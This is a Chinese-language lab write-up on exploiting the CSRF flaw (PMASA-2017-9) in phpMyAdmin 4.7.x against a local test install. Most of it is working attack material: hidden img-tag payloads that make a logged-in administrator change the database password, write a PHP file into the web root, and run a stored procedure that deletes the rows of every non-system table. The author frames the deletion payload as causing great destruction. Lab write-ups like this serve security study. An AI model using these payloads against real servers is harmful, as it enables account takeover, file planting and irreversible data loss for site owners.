[关闭]
@shaobaobaoer 2018-07-24T03:43:35.000000Z 字数 2594 阅读 1035

phpMyAdmin 4.7.x CSRF 漏洞利用

实验文档
http://www.vulnspy.com/cn-phpMyAdmin-4-7-x-XSRF-CSRF-vulnerability-exploit/phpmyadmin_4.7.x_csrf_%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/
实验环境
phpMyAdmin 4.7.2 下载地址
备注:
这个环境下下来直接放到www目录下即可运行,与本地的Phpmyadmin版本不冲突。当然你也可以用vulnspy的靶机

0x00 概述

phpMyAdmin团队在4.7.7版本中修复了一个危害严重的CSRF漏洞(PMASA-2017-9),攻击者可以通过诱导管理员访问恶意页面,悄无声息地执行任意SQL语句。

0x01 CSRF 漏洞利用 - 修改当前数据库用户密码

在MySQL中支持使用SQL语句来修改当前用户密码。比如将当前用户密码修改为toor,对应的SQL语句为:

  1. SET passsword=PASSWORD('toor');

在sql.php中,会接收参数并执行更新密码的操作。当然,需要诱骗管理员来点击才行。

于此同时,我们建立一个 payload.html。里面内容中附上这样一个东西:

  1. <!--bad.html-->
  2. <p>Hello World</p>
  3. <img src="http://localhost/phpMyAdmin-4.7.2-all-languages/sql.php?db=mysql&table=user&sql_query=SET%20password
  4. %20=%20PASSWORD(%27toor%27)" style="display:none;" />

在实际操作中,我们登录 http://localhost/phpMyAdmin-4.7.2-all-languages/index.php。随后,打开bad.html。我们可以发现payload已经被成功加载:

TIM截图20180724100616.png-31.7kB

当再次刷新 phpmyadmin 页面的时候,我们的账户已经被弹出并且用原本的密码已经失效。

TIM截图20180724092446.png-36.5kB

0x02 CSRF 漏洞利用 - 写文件

当然,已经有了管理权限后,如果mysql将 –secure-file-priv 开启的话,就可以写入文件了。
当然,也可以利用 上述方法来写,当然要需要知道绝对路径才行。

  1. select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';

将 query 的参数改成上述就行。

0x03 从删库到跑路

现在我们可以干票大的。将库中的数据全部删除。

  1. SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1

首先把所有的内容给选出来,生成删除语句。然后用 execute来执行语句

  1. set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1);
  2. prepare stmt from @del;
  3. execute stmt;

最后用循环语句来执行

  1. DROP PROCEDURE IF EXISTS EMPT;
  2. DELIMITER $$
  3. CREATE PROCEDURE EMPT()
  4. BEGIN
  5. DECLARE i INT;
  6. SET i = 0;
  7. WHILE i < 100 DO
  8. SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1);
  9. PREPARE STMT FROM @del;
  10. EXECUTE STMT;
  11. SET i = i +1;
  12. END WHILE;
  13. END $$
  14. DELIMITER ;
  15. CALL EMPT();

最后,payload如下:

  1. <p>Hello World</p>
  2. <img src="http://localhost/phpMyAdmin-4.7.2-all-languages/sql.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" />

当然, 有了管理员密码,其实能够做很多事情了。不过如果把管理员密码锁上了,也可以用上述PAYLOAD进行大破坏。

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注